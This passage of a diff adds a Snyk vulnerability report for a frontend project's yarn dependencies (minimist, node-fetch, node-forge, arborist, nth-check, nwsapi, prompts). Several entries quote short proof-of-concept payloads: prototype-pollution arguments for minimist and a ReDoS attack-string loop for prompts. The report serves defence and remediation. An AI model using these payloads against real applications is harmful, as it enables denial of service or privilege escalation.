Commit](https://github.com/kriszyp/json-schema/commit/22f146111f541d9737e832823699ad3528ca7741)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-1321", + "yarn" + ] + } + }, + { + "id": "SNYK-JS-MINIMIST-2429795", + "shortDescription": { + "text": "Low severity - Prototype Pollution vulnerability in minimist" + }, + "fullDescription": { + "text": "(CVE-2021-44906) minimist@1.2.5" + }, + "help": { + "text": "", + "markdown": "* Package Manager: yarn\n* Vulnerable module: minimist\n* Introduced through: spyros-frontend@1.0.0, awesome-typescript-loader@5.2.1 and others\n### Detailed paths\n* _Introduced through_: spyros-frontend@1.0.0 › awesome-typescript-loader@5.2.1 › mkdirp@0.5.5 › minimist@1.2.5\n* _Introduced through_: spyros-frontend@1.0.0 › d3-dag@0.6.3 › fastpriorityqueue@0.6.4 › minimist@1.2.5\n* _Introduced through_: spyros-frontend@1.0.0 › awesome-typescript-loader@5.2.1 › loader-utils@1.4.0 › json5@1.0.1 › minimist@1.2.5\n* _Introduced through_: spyros-frontend@1.0.0 › file-loader@6.2.0 › loader-utils@2.0.0 › json5@2.2.0 › minimist@1.2.5\n* _Introduced through_: spyros-frontend@1.0.0 › react-scripts@5.0.0 › @babel/core@7.16.12 › json5@2.2.0 › minimist@1.2.5\n* _Introduced through_: spyros-frontend@1.0.0 › react-scripts@5.0.0 › tailwindcss@3.0.15 › detective@5.2.0 › minimist@1.2.5\n* _Introduced through_: spyros-frontend@1.0.0 › react-scripts@5.0.0 › babel-loader@8.2.3 › loader-utils@1.4.0 › json5@1.0.1 › minimist@1.2.5\n* _Introduced through_: spyros-frontend@1.0.0 › react-d3-library@1.1.8 › babel-core@6.26.3 › babel-register@6.26.0 › mkdirp@0.5.5 › minimist@1.2.5\n* _Introduced through_: spyros-frontend@1.0.0 › prettier-plugin-import-sort@0.0.6 › import-sort-parser-babylon@6.0.0 › @babel/core@7.14.3 › json5@2.2.0 › minimist@1.2.5\n* _Introduced through_: spyros-frontend@1.0.0 › jest-puppeteer@6.0.3 › jest-environment-puppeteer@6.0.3 › jest-dev-server@6.0.3 › wait-on@6.0.0 › minimist@1.2.5\n* _Introduced through_: spyros-frontend@1.0.0 › react-scripts@5.0.0 › eslint-config-react-app@7.0.0 › eslint-plugin-import@2.25.4 › tsconfig-paths@3.12.0 › minimist@1.2.5\n* _Introduced through_: spyros-frontend@1.0.0 › react-scripts@5.0.0 › @svgr/webpack@5.5.0 › @svgr/plugin-svgo@5.5.0 › svgo@1.3.2 › mkdirp@0.5.5 › minimist@1.2.5\n* _Introduced through_: spyros-frontend@1.0.0 › react-d3-library@1.1.8 › webpack@1.15.0 › optimist@0.6.1 › minimist@0.0.10\n# Overview\n[minimist](https://www.npmjs.com/package/minimist) is a parse argument options module.\n\nAffected versions of this package are vulnerable to Prototype Pollution due to a missing handler to `Function.prototype`.\r\n\r\n**Notes:** \r\n\r\n- This vulnerability is a bypass to [CVE-2020-7598](https://security.snyk.io/vuln/SNYK-JS-MINIMIST-559764)\r\n\r\n- The reason for the different CVSS between CVE-2021-44906 to CVE-2020-7598, is that CVE-2020-7598 can pollute objects, while CVE-2021-44906 can pollute only function.\r\n\r\n\r\n# PoC by Snyk\r\n```js\r\nrequire('minimist')('--_.constructor.constructor.prototype.foo bar'.split(' '));\r\nconsole.log((function(){}).foo); // bar\r\n```\n\n# Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n## Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n## Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n# Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n# Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n# How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n## For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n# Remediation\nUpgrade `minimist` to version 1.2.6 or higher.\n# References\n- [Fix Commit](https://github.com/substack/minimist/commit/c2b981977fa834b223b408cfb860f933c9811e4d)\n- [GitHub Issue](https://github.com/substack/minimist/issues/164)\n- [Vulnerable Code](https://github.com/substack/minimist/blob/master/index.js#L69)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-1321", + "yarn" + ] + } + }, + { + "id": "SNYK-JS-MINIMIST-559764", + "shortDescription": { + "text": "Medium severity - Prototype Pollution vulnerability in minimist" + }, + "fullDescription": { + "text": "(CVE-2020-7598) minimist@0.0.10" + }, + "help": { + "text": "", + "markdown": "* Package Manager: yarn\n* Vulnerable module: minimist\n* Introduced through: spyros-frontend@1.0.0, react-d3-library@1.1.8 and others\n### Detailed paths\n* _Introduced through_: spyros-frontend@1.0.0 › react-d3-library@1.1.8 › webpack@1.15.0 › optimist@0.6.1 › minimist@0.0.10\n# Overview\n[minimist](https://www.npmjs.com/package/minimist) is a parse argument options module.\n\nAffected versions of this package are vulnerable to Prototype Pollution. The library could be tricked into adding or modifying properties of `Object.prototype` using a `constructor` or `__proto__` payload.\r\n\r\n# PoC by Snyk\r\n```\r\nrequire('minimist')('--__proto__.injected0 value0'.split(' '));\r\nconsole.log(({}).injected0 === 'value0'); // true\r\n\r\nrequire('minimist')('--constructor.prototype.injected1 value1'.split(' '));\r\nconsole.log(({}).injected1 === 'value1'); // true\r\n```\n\n# Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n## Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n## Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n# Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n# Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n# How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n## For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n# Remediation\nUpgrade `minimist` to version 0.2.1, 1.2.3 or higher.\n# References\n- [Command Injection PoC](https://gist.github.com/Kirill89/47feb345b09bf081317f08dd43403a8a)\n- [GitHub Fix Commit #1](https://github.com/substack/minimist/commit/63e7ed05aa4b1889ec2f3b196426db4500cbda94)\n- [GitHub Fix Commit #2](https://github.com/substack/minimist/commit/38a4d1caead72ef99e824bb420a2528eec03d9ab)\n- [Snyk Research Blog](https://snyk.io/blog/prototype-pollution-minimist/)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-400", + "yarn" + ] + } + }, + { + "id": "SNYK-JS-NODEFETCH-2342118", + "shortDescription": { + "text": "Medium severity - Information Exposure vulnerability in node-fetch" + }, + "fullDescription": { + "text": "(CVE-2022-0235,CVE-2022-1365) node-fetch@2.6.5" + }, + "help": { + "text": "", + "markdown": "* Package Manager: yarn\n* Vulnerable module: node-fetch\n* Introduced through: spyros-frontend@1.0.0, puppeteer@13.1.1 and others\n### Detailed paths\n* _Introduced through_: spyros-frontend@1.0.0 › puppeteer@13.1.1 › node-fetch@2.6.5\n* _Introduced through_: spyros-frontend@1.0.0 › react-d3-library@1.1.8 › react@15.7.0 › fbjs@0.8.17 › isomorphic-fetch@2.2.1 › node-fetch@1.7.3\n* _Introduced through_: spyros-frontend@1.0.0 › react-digraph@8.0.0-beta.7 › html-react-parser@0.6.4 › react-dom-core@0.0.4 › react@15.7.0 › fbjs@0.8.17 › isomorphic-fetch@2.2.1 › node-fetch@1.7.3\n# Overview\n[node-fetch](https://www.npmjs.com/package/node-fetch) is a light-weight module that brings window.fetch to node.js\n\nAffected versions of this package are vulnerable to Information Exposure when fetching a remote url with Cookie, if it get a `Location` response header, it will follow that url and try to fetch that url with provided cookie. This can lead to forwarding secure headers to 3th party.\n# Remediation\nUpgrade `node-fetch` to version 2.6.7, 3.1.1 or higher.\n# References\n- [Github Commit](https://github.com/node-fetch/node-fetch/commit/1ef4b560a17e644a02a3bfdea7631ffeee578b35)\n- [GitHub Commit](https://github.com/node-fetch/node-fetch/commit/36e47e8a6406185921e4985dcbeff140d73eaa10)\n- [GitHub Commit](https://github.com/node-fetch/node-fetch/pull/1449/commits/5c32f002fdd65b1c6a8f1e3620210813d45c7e60)\n- [GitHub PR](https://github.com/node-fetch/node-fetch/pull/1449)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-200", + "yarn" + ] + } + }, + { + "id": "SNYK-JS-NODEFETCH-674311", + "shortDescription": { + "text": "Medium severity - Denial of Service vulnerability in node-fetch" + }, + "fullDescription": { + "text": "(CVE-2020-15168) node-fetch@1.7.3" + }, + "help": { + "text": "", + "markdown": "* Package Manager: yarn\n* Vulnerable module: node-fetch\n* Introduced through: spyros-frontend@1.0.0, react-d3-library@1.1.8 and others\n### Detailed paths\n* _Introduced through_: spyros-frontend@1.0.0 › react-d3-library@1.1.8 › react@15.7.0 › fbjs@0.8.17 › isomorphic-fetch@2.2.1 › node-fetch@1.7.3\n* _Introduced through_: spyros-frontend@1.0.0 › react-digraph@8.0.0-beta.7 › html-react-parser@0.6.4 › react-dom-core@0.0.4 › react@15.7.0 › fbjs@0.8.17 › isomorphic-fetch@2.2.1 › node-fetch@1.7.3\n# Overview\n[node-fetch](https://www.npmjs.com/package/node-fetch) is a light-weight module that brings window.fetch to node.js\n\nAffected versions of this package are vulnerable to Denial of Service. Node Fetch did not honor the `size` option after following a redirect, which means that when a content size was over the limit, a FetchError would never get thrown and the process would end without failure.\n# Remediation\nUpgrade `node-fetch` to version 2.6.1, 3.0.0-beta.9 or higher.\n# References\n- [GitHub Advisory](https://github.com/node-fetch/node-fetch/security/advisories/GHSA-w7rc-rwvf-8q5r)\n- [GitHub Commit](https://github.com/node-fetch/node-fetch/commit/2358a6c2563d1730a0cdaccc197c611949f6a334)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-400", + "yarn" + ] + } + }, + { + "id": "SNYK-JS-NODEFORGE-2430337", + "shortDescription": { + "text": "Medium severity - Improper Verification of Cryptographic Signature vulnerability in node-forge" + }, + "fullDescription": { + "text": "(CVE-2022-24773) node-forge@1.2.1" + }, + "help": { + "text": "", + "markdown": "* Package Manager: yarn\n* Vulnerable module: node-forge\n* Introduced through: spyros-frontend@1.0.0, react-scripts@5.0.0 and others\n### Detailed paths\n* _Introduced through_: spyros-frontend@1.0.0 › react-scripts@5.0.0 › webpack-dev-server@4.7.3 › selfsigned@2.0.0 › node-forge@1.2.1\n# Overview\n[node-forge](https://github.com/digitalbazaar/forge) is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to RSA's `PKCS#1 v1.5` signature verification code which does not properly check `DigestInfo` for a proper `ASN.1` structure. This can lead to successful verification with signatures that contain invalid structures but a valid digest.\n# Remediation\nUpgrade `node-forge` to version 1.3.0 or higher.\n# References\n- [GitHub Commit](https://github.com/digitalbazaar/forge/commit/3f0b49a0573ef1bb7af7f5673c0cfebf00424df1)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-347", + "yarn" + ] + } + }, + { + "id": "SNYK-JS-NODEFORGE-2430339", + "shortDescription": { + "text": "High severity - Improper Verification of Cryptographic Signature vulnerability in node-forge" + }, + "fullDescription": { + "text": "(CVE-2022-24772) node-forge@1.2.1" + }, + "help": { + "text": "", + "markdown": "* Package Manager: yarn\n* Vulnerable module: node-forge\n* Introduced through: spyros-frontend@1.0.0, react-scripts@5.0.0 and others\n### Detailed paths\n* _Introduced through_: spyros-frontend@1.0.0 › react-scripts@5.0.0 › webpack-dev-server@4.7.3 › selfsigned@2.0.0 › node-forge@1.2.1\n# Overview\n[node-forge](https://github.com/digitalbazaar/forge) is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to RSA's `PKCS#1` v1.5 signature verification code which does not check for tailing garbage bytes after decoding a `DigestInfo` ASN.1 structure. This can allow padding bytes to be removed and garbage data added to forge a signature when a low public exponent is being used.\n# Remediation\nUpgrade `node-forge` to version 1.3.0 or higher.\n# References\n- [GitHub Commit](https://github.com/digitalbazaar/forge/commit/3f0b49a0573ef1bb7af7f5673c0cfebf00424df1)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-347", + "yarn" + ] + } + }, + { + "id": "SNYK-JS-NODEFORGE-2430341", + "shortDescription": { + "text": "Medium severity - Improper Verification of Cryptographic Signature vulnerability in node-forge" + }, + "fullDescription": { + "text": "(CVE-2022-24771) node-forge@1.2.1" + }, + "help": { + "text": "", + "markdown": "* Package Manager: yarn\n* Vulnerable module: node-forge\n* Introduced through: spyros-frontend@1.0.0, react-scripts@5.0.0 and others\n### Detailed paths\n* _Introduced through_: spyros-frontend@1.0.0 › react-scripts@5.0.0 › webpack-dev-server@4.7.3 › selfsigned@2.0.0 › node-forge@1.2.1\n# Overview\n[node-forge](https://github.com/digitalbazaar/forge) is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to RSA`s `PKCS#1` v1.5 signature verification code which is lenient in checking the digest algorithm structure. This can allow a crafted structure that steals padding bytes and uses unchecked portion of the PKCS#1 encoded message to forge a signature when a low public exponent is being used.\n# Remediation\nUpgrade `node-forge` to version 1.3.0 or higher.\n# References\n- [GitHub Commit](https://github.com/digitalbazaar/forge/commit/3f0b49a0573ef1bb7af7f5673c0cfebf00424df1)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-347", + "yarn" + ] + } + }, + { + "id": "SNYK-JS-NPMCLIARBORIST-1579165", + "shortDescription": { + "text": "High severity - Arbitrary File Write vulnerability in @npmcli/arborist" + }, + "fullDescription": { + "text": "(CVE-2021-39134) @npmcli/arborist@2.6.2" + }, + "help": { + "text": "", + "markdown": "* Package Manager: yarn\n* Vulnerable module: @npmcli/arborist\n* Introduced through: spyros-frontend@1.0.0, npm@7.16.0 and others\n### Detailed paths\n* _Introduced through_: spyros-frontend@1.0.0 › npm@7.16.0 › @npmcli/arborist@2.6.2\n* _Introduced through_: spyros-frontend@1.0.0 › npm@7.16.0 › libnpmexec@1.2.0 › @npmcli/arborist@2.6.2\n* _Introduced through_: spyros-frontend@1.0.0 › npm@7.16.0 › libnpmfund@1.1.0 › @npmcli/arborist@2.6.2\n# Overview\n[@npmcli/arborist](https://www.npmjs.org/package/@npmcli/arborist) is a Manage node_modules trees\n\nAffected versions of this package are vulnerable to Arbitrary File Write. `@npmcli/arborist` aims to guarantee that package dependency contracts will be met, and the extraction of package contents will always be performed into the expected folder.\r\n\r\nThis is, in part, accomplished by resolving dependency specifiers defined in `package.json` manifests for dependencies with a specific name, and nesting folders to resolve conflicting dependencies.\r\n\r\nWhen multiple dependencies differ only in the case of their name, `Arborist`'s internal data structure sees them as separate items that could coexist within the same level in the `node_modules` hierarchy. However, on case-insensitive file systems (such as macOS and Windows), this is not the case. Combined with a symlink dependency such as `file:/some/path`, this allows an attacker to create a situation in which arbitrary contents could be written to any location on the filesystem.\n# Remediation\nUpgrade `@npmcli/arborist` to version 2.8.2 or higher.\n# References\n- [GitHub Commit](https://github.com/npm/arborist/commit/041a3c710c2a6fbf644fc2c1119f7f0f440ffadd)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-61", + "yarn" + ] + } + }, + { + "id": "SNYK-JS-NPMCLIARBORIST-1579181", + "shortDescription": { + "text": "High severity - Arbitrary File Write vulnerability in @npmcli/arborist" + }, + "fullDescription": { + "text": "(CVE-2021-39135) @npmcli/arborist@2.6.2" + }, + "help": { + "text": "", + "markdown": "* Package Manager: yarn\n* Vulnerable module: @npmcli/arborist\n* Introduced through: spyros-frontend@1.0.0, npm@7.16.0 and others\n### Detailed paths\n* _Introduced through_: spyros-frontend@1.0.0 › npm@7.16.0 › @npmcli/arborist@2.6.2\n* _Introduced through_: spyros-frontend@1.0.0 › npm@7.16.0 › libnpmexec@1.2.0 › @npmcli/arborist@2.6.2\n* _Introduced through_: spyros-frontend@1.0.0 › npm@7.16.0 › libnpmfund@1.1.0 › @npmcli/arborist@2.6.2\n# Overview\n[@npmcli/arborist](https://www.npmjs.org/package/@npmcli/arborist) is a Manage node_modules trees\n\nAffected versions of this package are vulnerable to Arbitrary File Write. `@npmcli/arborist` aims to guarantee that package dependency contracts will be met, and the extraction of package contents will always be performed into the expected folder.\r\n\r\nThis is accomplished by extracting package contents into a project's `node_modules` folder.\r\n\r\nIf the `node_modules` folder of the root project or any of its dependencies is somehow replaced with a symbolic link, it could allow `Arborist` to write package dependencies to any arbitrary location on the file system.\r\n\r\nNote that symbolic links contained within package artifact contents are filtered out, so another means of creating a `node_modules` symbolic link would have to be employed:\r\n1. A preinstall script could replace `node_modules` with a symlink. (This is prevented by using `--ignore-scripts`.)\r\n2. An attacker could supply the target with a git repository, instructing them to run npm install `--ignore-scripts` in the root. This may be successful, because npm install `--ignore-scripts` is typically not capable of making changes outside of the project directory, so it may be deemed safe.\n# Remediation\nUpgrade `@npmcli/arborist` to version 2.8.2 or higher.\n# References\n- [GitHub Commit](https://github.com/npm/arborist/commit/f2b0ceebfe94123f162c3652af46f9c4c473cc36)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-61", + "yarn" + ] + } + }, + { + "id": "SNYK-JS-NTHCHECK-1586032", + "shortDescription": { + "text": "High severity - Regular Expression Denial of Service (ReDoS) vulnerability in nth-check" + }, + "fullDescription": { + "text": "(CVE-2021-3803) nth-check@1.0.2" + }, + "help": { + "text": "", + "markdown": "* Package Manager: yarn\n* Vulnerable module: nth-check\n* Introduced through: spyros-frontend@1.0.0, react-scripts@5.0.0 and others\n### Detailed paths\n* _Introduced through_: spyros-frontend@1.0.0 › react-scripts@5.0.0 › @svgr/webpack@5.5.0 › @svgr/plugin-svgo@5.5.0 › svgo@1.3.2 › css-select@2.1.0 › nth-check@1.0.2\n# Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when parsing crafted invalid CSS nth-checks, due to the sub-pattern `\\s*(?:([+-]?)\\s*(\\d+))?` in `RE_NTH_ELEMENT` with quantified overlapping adjacency.\n\n# Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n# Remediation\nUpgrade `nth-check` to version 2.0.1 or higher.\n# References\n- [GitHub Commit](https://github.com/fb55/nth-check/commit/9894c1d2010870c351f66c6f6efcf656e26bb726)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-1333", + "yarn" + ] + } + }, + { + "id": "SNYK-JS-NWSAPI-2841516", + "shortDescription": { + "text": "Medium severity - Denial of Service (DoS) vulnerability in nwsapi" + }, + "fullDescription": { + "text": "nwsapi@2.2.0" + }, + "help": { + "text": "", + "markdown": "* Package Manager: yarn\n* Vulnerable module: nwsapi\n* Introduced through: spyros-frontend@1.0.0, react-scripts@5.0.0 and others\n### Detailed paths\n* _Introduced through_: spyros-frontend@1.0.0 › react-scripts@5.0.0 › jest@27.4.7 › @jest/core@27.4.7 › jest-config@27.4.7 › jest-environment-jsdom@27.4.6 › jsdom@16.7.0 › nwsapi@2.2.0\n# Overview\n\nAffected versions of this package are vulnerable to Denial of Service (DoS) when it is provided the invalid selector `_:-ms-fullscreen`. This triggers an infinite loop.\n\n# Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n# Remediation\nUpgrade `nwsapi` to version 2.2.1 or higher.\n# References\n- [GitHub Commit](https://github.com/dperini/nwsapi/commit/ab9cde1eb05ec9badfc3abaf15687b1a6f9e9ad3)\n- [GitHub Issue](https://github.com/dperini/nwsapi/issues/46#issuecomment-1134223659)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-400", + "yarn" + ] + } + }, + { + "id": "SNYK-JS-PROMPTS-1729737", + "shortDescription": { + "text": "Medium severity - Regular Expression Denial of Service (ReDoS) vulnerability in prompts" + }, + "fullDescription": { + "text": "(CVE-2021-3868) prompts@2.4.1" + }, + "help": { + "text": "", + "markdown": "* Package Manager: yarn\n* Vulnerable module: prompts\n* Introduced through: spyros-frontend@1.0.0, react-scripts@5.0.0 and others\n### Detailed paths\n* _Introduced through_: spyros-frontend@1.0.0 › react-scripts@5.0.0 › jest@27.4.7 › jest-cli@27.4.7 › prompts@2.4.1\n# Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker that is able to provide a crafted input to the strip functionality may cause an application to consume an excessive amount of CPU.\r\n\r\n## PoC\r\n```\r\nconst strip = require('prompts/lib/util/strip.js');\r\nfor(var i = 1; i <= 5000; i++) {\r\nvar time = Date.now();\r\nvar attack_str = \"\\u001B[\"+\";\".repeat(i*1000);\r\nstrip(attack_str)\r\nvar time_cost = Date.now() - time;\r\nconsole.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost+\" ms\")\r\n}\r\n```\n\n# Details\n\nDenial of Service 